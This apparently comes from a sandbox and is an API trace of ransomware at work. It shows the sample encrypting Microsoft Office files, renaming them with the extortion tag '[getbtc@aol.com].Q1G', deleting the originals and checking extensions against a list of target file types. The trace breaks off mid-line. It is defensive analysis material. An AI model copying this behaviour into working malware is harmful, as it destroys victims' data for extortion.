tracking.gta.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0249.524] GetLastError () returned 0x0 [0249.524] ReadFile (in: hFile=0x324, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x3cebf, lpOverlapped=0x0) returned 1 [0249.791] WriteFile (in: hFile=0x360, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x3cec0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x3cec0, lpOverlapped=0x0) returned 1 [0249.796] ReadFile (in: hFile=0x324, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0249.796] WriteFile (in: hFile=0x360, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xf8, lpOverlapped=0x0) returned 1 [0249.796] SetEndOfFile (hFile=0x360) returned 1 [0249.841] CloseHandle (hObject=0x360) returned 1 [0249.841] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0249.841] SetEndOfFile (hFile=0x324) returned 1 [0249.846] CloseHandle (hObject=0x324) returned 1 [0249.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.861] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta")) returned 1 [0249.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0249.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0249.862] lstrlenW (lpString=".doc") returned 4 [0249.862] lstrcmpiW (lpString1=".doc", lpString2=".gta") returned -1 [0249.862] lstrlenW (lpString=".docx") returned 5 [0249.862] lstrcmpiW (lpString1=".docx", lpString2="g.gta") returned -1 [0249.862] lstrlenW (lpString=".pdf") returned 4 [0249.862] lstrcmpiW (lpString1=".pdf", lpString2=".gta") returned 1 [0249.862] lstrlenW (lpString=".xls") returned 4 [0249.862] lstrcmpiW (lpString1=".xls", lpString2=".gta") returned 1 [0249.862] lstrlenW (lpString=".xlsx") returned 5 [0249.862] lstrcmpiW (lpString1=".xlsx", lpString2="g.gta") returned -1 [0249.862] lstrlenW (lpString=".ppt") returned 4 [0249.862] lstrcmpiW (lpString1=".ppt", lpString2=".gta") returned 1 [0249.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0249.862] lstrlenW (lpString=".zip") returned 4 [0249.862] lstrcmpiW (lpString1=".zip", lpString2=".gta") returned 1 [0249.862] lstrlenW (lpString=".rar") returned 4 [0249.862] lstrcmpiW (lpString1=".rar", lpString2=".gta") returned 1 [0249.862] lstrlenW (lpString=".bz2") returned 4 [0249.862] lstrcmpiW (lpString1=".bz2", lpString2=".gta") returned -1 [0249.862] lstrlenW (lpString=".7z") returned 3 [0249.862] lstrcmpiW (lpString1=".7z", lpString2="gta") returned -1 [0249.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0249.862] lstrlenW (lpString=".dbf") returned 4 [0249.862] lstrcmpiW (lpString1=".dbf", lpString2=".gta") returned -1 [0249.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0249.862] lstrlenW (lpString=".1cd") returned 4 [0249.862] lstrcmpiW (lpString1=".1cd", lpString2=".gta") returned -1 [0249.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0249.862] lstrlenW (lpString=".jpg") returned 4 [0249.862] lstrcmpiW (lpString1=".jpg", lpString2=".gta") returned 1 [0249.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0249.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0249.863] lstrlenW (lpString=".doc") returned 4 [0249.863] lstrcmpiW (lpString1=".doc", lpString2=".gta") returned -1 [0249.863] lstrlenW (lpString=".docx") returned 5 [0249.863] lstrcmpiW (lpString1=".docx", lpString2="g.gta") returned -1 [0249.863] lstrlenW (lpString=".pdf") returned 4 [0249.863] lstrcmpiW (lpString1=".pdf", lpString2=".gta") returned 1 [0249.863] lstrlenW (lpString=".xls") returned 4 [0249.863] lstrcmpiW (lpString1=".xls", lpString2=".gta") returned 1 [0249.863] lstrlenW (lpString=".xlsx") returned 5 [0249.863] lstrcmpiW (lpString1=".xlsx", lpString2="g.gta") returned -1 [0249.863] lstrlenW (lpString=".ppt") returned 4 [0249.863] lstrcmpiW (lpString1=".ppt", lpString2=".gta") returned 1 [0249.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0249.863] lstrlenW (lpString=".zip") returned 4 [0249.863] lstrcmpiW (lpString1=".zip", lpString2=".gta") returned 1 [0249.863] lstrlenW (lpString=".rar") returned 4 [0249.863] lstrcmpiW (lpString1=".rar", lpString2=".gta") returned 1 [0249.863] lstrlenW (lpString=".bz2") returned 4 [0249.863] lstrcmpiW (lpString1=".bz2", lpString2=".gta") returned -1 [0249.863] lstrlenW (lpString=".7z") returned 3 [0249.863] lstrcmpiW (lpString1=".7z", lpString2="gta") returned -1 [0249.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0249.863] lstrlenW (lpString=".dbf") returned 4 [0249.863] lstrcmpiW (lpString1=".dbf", lpString2=".gta") returned -1 [0249.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0249.863] lstrlenW (lpString=".1cd") returned 4 [0249.863] lstrcmpiW (lpString1=".1cd", lpString2=".gta") returned -1 [0249.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0249.863] lstrlenW (lpString=".jpg") returned 4 [0249.863] lstrcmpiW (lpString1=".jpg", lpString2=".gta") returned 1 [0249.864] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0249.864] lstrlenW (lpString="MOR6INT.DLL") returned 11 [0249.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0249.960] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=446312) returned 1 [0249.960] CloseHandle (hObject=0x3c4) returned 1 [0249.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.dll")) returned 0x20 [0249.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0249.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0249.961] lstrlenW (lpString=".doc") returned 4 [0249.961] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0249.961] lstrlenW (lpString=".docx") returned 5 [0249.961] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0249.961] lstrlenW (lpString=".pdf") returned 4 [0249.961] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0249.961] lstrlenW (lpString=".xls") returned 4 [0249.961] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0249.961] lstrlenW (lpString=".xlsx") returned 5 [0249.961] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0249.961] lstrlenW (lpString=".ppt") returned 4 [0249.961] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0249.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0249.961] lstrlenW (lpString=".zip") returned 4 [0249.961] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0249.961] lstrlenW (lpString=".rar") returned 4 [0249.961] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0249.961] lstrlenW (lpString=".bz2") returned 4 [0249.961] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0249.961] lstrlenW (lpString=".7z") returned 3 [0249.961] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0249.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0249.961] lstrlenW (lpString=".dbf") returned 4 [0249.961] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0249.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0249.961] lstrlenW (lpString=".1cd") returned 4 [0249.961] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0249.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0249.961] lstrlenW (lpString=".jpg") returned 4 [0249.961] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0249.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0249.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0249.961] lstrlenW (lpString=".doc") returned 4 [0249.961] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0249.962] lstrlenW (lpString=".docx") returned 5 [0249.962] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0249.962] lstrlenW (lpString=".pdf") returned 4 [0249.962] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0249.962] lstrlenW (lpString=".xls") returned 4 [0249.962] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0249.962] lstrlenW (lpString=".xlsx") returned 5 [0249.962] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0249.962] lstrlenW (lpString=".ppt") returned 4 [0249.962] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0249.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0249.962] lstrlenW (lpString=".zip") returned 4 [0249.962] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0249.962] lstrlenW (lpString=".rar") returned 4 [0249.962] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0249.962] lstrlenW (lpString=".bz2") returned 4 [0249.962] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0249.962] lstrlenW (lpString=".7z") returned 3 [0249.962] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0249.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0249.962] lstrlenW (lpString=".dbf") returned 4 [0249.962] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0249.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0249.962] lstrlenW (lpString=".1cd") returned 4 [0249.962] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0249.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0249.962] lstrlenW (lpString=".jpg") returned 4 [0249.962] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0249.962] lstrcmpiW (lpString1=".HXT", lpString2=".Q1G") returned -1 [0249.962] lstrlenW (lpString="MSACCESS.DEV_COL.HXT") returned 20 [0249.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0249.963] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=212) returned 1 [0249.963] CloseHandle (hObject=0x3c4) returned 1 [0249.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt")) returned 0x20 [0249.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0249.963] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0249.963] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0249.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0249.964] GetLastError () returned 0x0 [0249.964] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xd4, lpOverlapped=0x0) returned 1 [0249.967] WriteFile (in: hFile=0x398, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0249.968] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0249.968] WriteFile (in: hFile=0x398, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xfc, lpOverlapped=0x0) returned 1 [0249.968] SetEndOfFile (hFile=0x398) returned 1 [0249.968] CloseHandle (hObject=0x398) returned 1 [0249.968] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0249.968] SetEndOfFile (hFile=0x3c4) returned 1 [0249.970] CloseHandle (hObject=0x3c4) returned 1 [0249.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.971] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt")) returned 1 [0249.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0249.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0249.971] lstrlenW (lpString=".doc") returned 4 [0249.971] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0249.971] lstrlenW (lpString=".docx") returned 5 [0249.971] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0249.971] lstrlenW (lpString=".pdf") returned 4 [0249.971] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0249.971] lstrlenW (lpString=".xls") returned 4 [0249.971] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0249.971] lstrlenW (lpString=".xlsx") returned 5 [0249.971] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0249.971] lstrlenW (lpString=".ppt") returned 4 [0249.971] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0249.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0249.971] lstrlenW (lpString=".zip") returned 4 [0249.971] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0249.971] lstrlenW (lpString=".rar") returned 4 [0249.971] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0249.971] lstrlenW (lpString=".bz2") returned 4 [0249.971] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0249.972] lstrlenW (lpString=".7z") returned 3 [0249.972] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0249.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0249.972] lstrlenW (lpString=".dbf") returned 4 [0249.972] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0249.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0249.972] lstrlenW (lpString=".1cd") returned 4 [0249.972] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0249.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0249.972] lstrlenW (lpString=".jpg") returned 4 [0249.972] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0249.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0249.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0249.972] lstrlenW (lpString=".doc") returned 4 [0249.972] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0249.972] lstrlenW (lpString=".docx") returned 5 [0249.972] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0249.972] lstrlenW (lpString=".pdf") returned 4 [0249.972] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0249.972] lstrlenW (lpString=".xls") returned 4 [0249.972] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0249.972] lstrlenW (lpString=".xlsx") returned 5 [0249.972] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0249.972] lstrlenW (lpString=".ppt") returned 4 [0249.972] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0249.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0249.972] lstrlenW (lpString=".zip") returned 4 [0249.972] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0249.972] lstrlenW (lpString=".rar") returned 4 [0249.972] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0249.972] lstrlenW (lpString=".bz2") returned 4 [0249.972] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0249.972] lstrlenW (lpString=".7z") returned 3 [0249.972] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0249.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0249.972] lstrlenW (lpString=".dbf") returned 4 [0249.972] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0249.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0249.973] lstrlenW (lpString=".1cd") returned 4 [0249.973] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0249.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0249.973] lstrlenW (lpString=".jpg") returned 4 [0249.973] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0249.973] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0249.973] lstrlenW (lpString="MSACCESS.DEV_F_COL.HXK") returned 22 [0249.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0249.973] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=114) returned 1 [0249.973] CloseHandle (hObject=0x3c4) returned 1 [0249.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk")) returned 0x20 [0249.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0249.974] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0249.974] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0249.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0249.974] GetLastError () returned 0x0 [0249.974] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x72, lpOverlapped=0x0) returned 1 [0249.975] WriteFile (in: hFile=0x398, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x80, lpOverlapped=0x0) returned 1 [0249.976] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0249.976] WriteFile (in: hFile=0x398, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x100, lpOverlapped=0x0) returned 1 [0249.976] SetEndOfFile (hFile=0x398) returned 1 [0249.976] CloseHandle (hObject=0x398) returned 1 [0249.976] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0249.976] SetEndOfFile (hFile=0x3c4) returned 1 [0249.978] CloseHandle (hObject=0x3c4) returned 1 [0249.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.979] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk")) returned 1 [0249.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0249.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0249.979] lstrlenW (lpString=".doc") returned 4 [0249.979] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0249.979] lstrlenW (lpString=".docx") returned 5 [0249.979] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0249.979] lstrlenW (lpString=".pdf") returned 4 [0249.979] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0249.979] lstrlenW (lpString=".xls") returned 4 [0250.426] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0250.426] lstrlenW (lpString=".xlsx") returned 5 [0250.426] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0250.426] lstrlenW (lpString=".ppt") returned 4 [0250.427] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0250.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0250.427] lstrlenW (lpString=".zip") returned 4 [0250.427] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0250.427] lstrlenW (lpString=".rar") returned 4 [0250.427] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0250.427] lstrlenW (lpString=".bz2") returned 4 [0250.427] 